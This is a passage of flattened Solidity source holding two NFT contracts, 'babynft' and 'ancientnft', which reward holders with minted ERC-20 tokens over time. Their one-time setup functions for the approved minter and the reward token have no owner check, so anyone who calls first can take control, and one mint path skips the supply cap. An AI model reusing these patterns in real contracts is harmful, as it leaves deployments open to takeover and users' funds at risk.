tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/babynft.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ interface erc20_{ function mint(address add, uint amount)external; } contract babynft is Context, ERC165, IERC721, IERC721Metadata ,Ownable,IERC721Enumerable{ using Address for address; using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint counter; uint _counter; uint256 public maxSupply = 5555; erc20_ _erc20; bool hassetcuurent; string public baseURI_ = "ipfs://QmQM5pmj9vyJhLXqdouYoUWJ58GVrRtMxS5UywgYbP22i9/"; string public baseExtension = ".json"; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; mapping(uint => mapping(address => uint)) private idtostartingtimet; mapping (address =>bool) onlyapprovedcontractaddress; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual { if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = babynft.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = babynft.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return baseURI_; } function setapprovedcontractaddress(address add)external { require(counter<1, "already called"); onlyapprovedcontractaddress[add] =true; counter+=1; } function setmaxsupply(uint amount)public onlyOwner { maxSupply= amount; } function mint(address _to) public { require(onlyapprovedcontractaddress[msg.sender] ==true, "you are not approved to mint"); require( totalSupply() <= maxSupply); require (hassetcuurent==true,"please set setcurrentmintedamount "); if (_tokenIds.current()==0){ _tokenIds.increment(); } uint256 newTokenID = _tokenIds.current(); _safeMint(_to, newTokenID); _tokenIds.increment(); } function mint(address _to,uint newTokenID) public { require(onlyapprovedcontractaddress[msg.sender] ==true, "you are not approved to mint"); _safeMint(_to, newTokenID); } function setcurrentmintedamount(uint totalmintedamount )public onlyOwner{ hassetcuurent=true; if (_tokenIds.current()==0){ _tokenIds.increment(); } for (uint256 i = 1; i <=totalmintedamount; i++) { _tokenIds.increment(); } } function approve(address to, uint256 tokenId) public virtual override { address owner = babynft.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI_ = _newBaseURI; } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = babynft.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; idtostartingtimet[tokenId][to]=block.timestamp; // totalSupply+=1; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } function seterc20address(address add)external { require(_counter<1, "already called this function"); _erc20= erc20_(add); _counter++; } function walletofNFT(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function checkrewardbal(address add)public view returns(uint){ uint256 ownerTokenCount = balanceOf(add); uint256[] memory tokenIds = new uint256[](ownerTokenCount); tokenIds= walletofNFT(add); uint current; uint reward; uint rewardbal; for (uint i ;i<ownerTokenCount; i++){ if (idtostartingtimet[tokenIds[i]][add]>0 ){ current = block.timestamp - idtostartingtimet[tokenIds[i]][add]; reward = ((5*10**18)*current)/86400; rewardbal+=reward; } } return rewardbal; } function claimreward(address add) public { require(balanceOf(add)>0, "not qualified for reward"); uint256 ownerTokenCount = balanceOf(add); uint256[] memory tokenIds = new uint256[](ownerTokenCount); tokenIds= walletofNFT(add); uint current; uint reward; uint rewardbal; for (uint i ;i<ownerTokenCount; i++){ if (idtostartingtimet[tokenIds[i]][add]>0 ){ current = block.timestamp - idtostartingtimet[tokenIds[i]][add]; reward = ((5*10**18)*current)/86400; rewardbal+=reward; idtostartingtimet[tokenIds[i]][add]=block.timestamp; } } _erc20.mint(add,rewardbal); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = babynft.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(babynft.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; idtostartingtimet[tokenId][to]=block.timestamp; idtostartingtimet[tokenId][from]=0; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(babynft.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ // function _beforeTokenTransfer( // address from, // address to, // uint256 tokenId // ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/ancientnft.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ interface erc20{ function mint(address add, uint amount)external; } contract ancientnft is Context, ERC165, IERC721, IERC721Metadata ,Ownable,IERC721Enumerable{ using Address for address; using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint counter; uint _counter; erc20 _erc20; bool hassetcuurent; string public baseURI_ = "ipfs://QmcdpJpymYcd7ADgHSvJvkHpmuCVvQuexVBuMPdxmGrJy2/"; string public baseExtension = ".json"; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; mapping(uint => mapping(address => uint)) private idtostartingtimet; mapping (address =>bool) onlyapprovedcontractaddress; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual { if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ancientnft.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ancientnft.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return baseURI_; } function setapprovedcontractaddress(address add)external { require(counter<1, "already called"); onlyapprovedcontractaddress[add] =true; counter+=1; } function mint(address _to) public { require(onlyapprovedcontractaddress[msg.sender] ==true, "you are not approved to mint"); require (hassetcuurent==true,"please set setcurrentmintedamount "); if (_tokenIds.current()==0){ _tokenIds.increment(); } uint256 newTokenID = _tokenIds.current(); _safeMint(_to, newTokenID); _tokenIds.increment(); } function mint(address _to,uint newTokenID) public { require(onlyapprovedcontractaddress[msg.sender] ==true, "you are not approved to mint"); _safeMint(_to, newTokenID); } function setcurrentmintedamount(uint totalmintedamount )public onlyOwner{ hassetcuurent=true; if (_tokenIds.current()==0){ _tokenIds.increment(); } for (uint256 i = 1; i <=totalmintedamount; i++) { _tokenIds.increment(); } } function approve(address to, uint256 tokenId) public virtual override { address owner = ancientnft.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI_ = _newBaseURI; } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ancientnft.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; idtostartingtimet[tokenId][to]=block.timestamp; // totalSupply+=1; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } function seterc20address(address add)external { require(_counter<1, "already called this function"); _erc20= erc20(add); _counter++; } function walletofNFT(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function checkrewardbal(address add)public view returns(uint){ uint256 ownerTokenCount = balanceOf(add); uint256[] memory tokenIds = new uint256[](ownerTokenCount); tokenIds= walletofNFT(add); uint current; uint reward; uint rewardbal; for (uint i ;i<ownerTokenCount; i++){ if (idtostartingtimet[tokenIds[i]][add]>0 ){ current = block.timestamp - idtostartingtimet[tokenIds[i]][add]; reward = ((50*10**18)*current)/86400; rewardbal+=reward; } } return rewardbal; } function claimreward(address add) public { require(balanceOf(add)>0, "not qualified for reward"); uint256 ownerTokenCount = balanceOf(add); uint256[] memory tokenIds = new uint256[](ownerTokenCount); tokenIds= walletofNFT(add); uint current; uint reward; uint rewardbal; for (uint i ;i<ownerTokenCount; i++){ if (idtostartingtimet[tokenIds[i]][add]>0 ){ current = block.timestamp - idtostartingtimet[tokenIds[i]][add]; reward = ((50*10**18)*current)/86400; rewardbal+=reward; idtostartingtimet[tokenIds[i]][add]=block.timestamp; } } _erc20.mint(add,rewardbal); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ancientnft.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ancientnft.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; idtostartingtimet[tokenId][to]=block.timestamp; idtostartingtimet[tokenId][from]=0; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ancientnft.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ // function _beforeTokenTransfer( // address from, // address to, // uint256 tokenId // ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/NftMigrate.sol // OpenZeppelin 